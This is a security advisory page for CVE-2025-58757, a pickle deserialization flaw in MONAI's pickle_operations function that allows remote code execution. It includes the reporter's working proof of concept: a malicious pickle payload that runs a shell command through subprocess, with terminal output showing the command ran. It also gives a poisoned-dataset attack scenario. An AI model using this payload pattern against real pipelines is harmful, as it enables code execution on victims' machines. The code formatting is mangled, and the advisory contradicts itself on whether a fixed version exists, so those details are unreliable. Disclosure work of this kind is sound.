CVE-2025-58757: MONAI's unsafe use of Pickle deserialization may lead to RCE

Published Sep 8, 2025
·
Updated

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary The pickleoperations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur. #Poc from monai.data.utils import pickleoperations

import pickle import subprocess class MaliciousPayload: def reduce(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) maliciousdata = pickle.dumps(MaliciousPayload())

attackdata = { 'image': 'normalimagedata', 'labeltransforms': maliciousdata, 'metadatatransforms': maliciousdata }

result = pickleoperations(attackdata, isencode=False)

#My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. maliciousdata = { 'image': normalimagetensor, 'label': normallabeltensor, 'preprocessingtransforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentationtransforms': pickle.dumps(MaliciousPayload()) # Multiple attack points }

dataset = [maliciousdata, ...] When a user batch-processes data using MONAI's listdatacollate function, the system automatically calls pickleoperations to handle the serialization transformations. from monai.data import listdatacollate

dataloader = DataLoader( dataset, batchsize=4, collatefn=listdatacollate # Trigger the vulnerability )

Automatically execute malicious code while traversing the data

for batch in dataloader:

Malicious code is executed in pickleoperations

pass When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Other sources

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the pickleoperations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

MITRE

Affected Software

3 affected components
MONAI MONAI<=1.5.0
pip/monai<=1.5.0
MONAI Medical Open Network for AI<=1.5.0

Event History

Sep 8, 2025
CVE Published
via MITRE·11:42 PM
Data Sourced
via MITRE·11:42 PM
DescriptionSeverityWeakness
Sep 9, 2025
Data Sourced
via NVD·12:15 AM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·09:21 PM
Data Sourced
via GitHub·09:21 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-58757?

CVE-2025-58757 is considered a high severity vulnerability due to potential arbitrary code execution risks.

2

How do I fix CVE-2025-58757?

To mitigate CVE-2025-58757, upgrade MONAI to version 1.5.1 or later.

3

What versions of MONAI are affected by CVE-2025-58757?

CVE-2025-58757 affects MONAI versions up to and including 1.5.0.

4

What type of vulnerability is CVE-2025-58757?

CVE-2025-58757 is a deserialization vulnerability in the `pickle_operations` function.

5

What impact does CVE-2025-58757 have on applications?

CVE-2025-58757 can lead to arbitrary code execution, potentially compromising the application and its data.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203